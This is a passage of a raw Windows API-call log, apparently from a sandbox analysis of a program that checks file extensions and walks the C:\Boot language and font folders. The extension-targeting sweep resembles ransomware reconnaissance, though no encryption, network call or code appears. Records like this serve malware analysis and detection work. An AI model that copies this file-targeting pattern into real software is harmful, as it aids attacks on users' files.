lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0033.112] lstrlenW (lpString=".elf") returned 4 [0033.112] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0033.112] lstrlenW (lpString=".emf") returned 4 [0033.112] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0033.112] lstrlenW (lpString=".emz") returned 4 [0033.112] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0033.112] lstrlenW (lpString=".epf") returned 4 [0033.112] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0033.112] lstrlenW (lpString=".eps") returned 4 [0033.112] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0033.112] lstrlenW (lpString=".epsf") returned 5 [0033.112] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0033.112] lstrlenW (lpString=".epsp") returned 5 [0033.112] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0033.112] lstrlenW (lpString=".erf") returned 4 [0033.112] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0033.112] lstrlenW (lpString=".exr") returned 4 [0033.112] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0033.112] lstrlenW (lpString=".f4v") returned 4 [0033.112] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0033.112] lstrlenW (lpString=".fido") returned 5 [0033.112] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0033.112] lstrlenW (lpString=".flm") returned 4 [0033.112] lstrcmpiW (lpString1=".flm", lpString2="") returned 1 [0033.112] lstrlenW (lpString=".flv") returned 4 [0033.112] lstrcmpiW (lpString1=".flv", lpString2="") returned 1 [0033.112] lstrlenW (lpString=".frm") returned 4 [0033.112] lstrcmpiW (lpString1=".frm", lpString2="") returned 1 [0033.112] lstrlenW (lpString=".fxg") returned 4 [0033.112] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1 [0033.113] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.113] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3152b8 [0033.113] FindNextFileW (in: hFindFile=0x3152b8, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.113] FindNextFileW (in: hFindFile=0x3152b8, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.114] FindClose (in: hFindFile=0x3152b8 | out: hFindFile=0x3152b8) returned 1 [0033.114] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39106e8 | out: hHeap=0x220000) returned 1 [0033.114] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0033.114] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.115] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3152b8 [0033.115] FindNextFileW (in: hFindFile=0x3152b8, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.115] FindNextFileW (in: hFindFile=0x3152b8, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.115] FindClose (in: hFindFile=0x3152b8 | out: hFindFile=0x3152b8) returned 1 [0033.115] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39106e8 | out: hHeap=0x220000) returned 1 [0033.115] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0033.115] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.115] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3152b8 [0033.116] FindNextFileW (in: hFindFile=0x3152b8, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.116] FindNextFileW (in: hFindFile=0x3152b8, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.117] FindClose (in: hFindFile=0x3152b8 | out: hFindFile=0x3152b8) returned 1 [0033.117] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39106e8 | out: hHeap=0x220000) returned 1 [0033.117] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0033.117] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.117] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3152b8 [0033.117] FindNextFileW (in: hFindFile=0x3152b8, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.117] FindNextFileW (in: hFindFile=0x3152b8, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.117] FindClose (in: hFindFile=0x3152b8 | out: hFindFile=0x3152b8) returned 1 [0033.117] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39106e8 | out: hHeap=0x220000) returned 1 [0033.117] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0033.118] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.118] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3152b8 [0033.118] FindNextFileW (in: hFindFile=0x3152b8, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.118] FindNextFileW (in: hFindFile=0x3152b8, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.119] FindClose (in: hFindFile=0x3152b8 | out: hFindFile=0x3152b8) returned 1 [0033.119] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39106e8 | out: hHeap=0x220000) returned 1 [0033.119] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0033.119] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.119] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312e30 [0033.120] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.120] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.120] FindClose (in: hFindFile=0x312e30 | out: hFindFile=0x312e30) returned 1 [0033.120] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39106e8 | out: hHeap=0x220000) returned 1 [0033.120] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0033.120] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.120] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312e30 [0033.120] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.120] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.121] FindClose (in: hFindFile=0x312e30 | out: hFindFile=0x312e30) returned 1 [0033.121] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39106e8 | out: hHeap=0x220000) returned 1 [0033.121] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0033.121] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.121] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312e30 [0033.122] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.122] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0033.122] FindClose (in: hFindFile=0x312e30 | out: hFindFile=0x312e30) returned 1 [0033.122] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39106e8 | out: hHeap=0x220000) returned 1 [0033.122] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0033.122] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.122] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312e30 [0033.123] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.123] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.123] FindClose (in: hFindFile=0x312e30 | out: hFindFile=0x312e30) returned 1 [0033.123] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39106e8 | out: hHeap=0x220000) returned 1 [0033.123] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0033.124] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x39106e8 [0033.124] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312e30 [0033.124] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.124] FindNextFileW (in: hFindFile=0x312e30, lpFindFileData=0x34ff808 | out: lpFindFileData=0x34ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.124] FindClose (in: hFindFile=0x312e30 | out: hFindFile=0x312e30) returned 1 [0033.124] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39106e8 | out: hHeap=0x220000) returned 1 [0033.124] FindNextFileW (in: hFindFile=0x314270, lpFindFileData=0x34ffa84 | out: lpFindFileData=0x34ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, 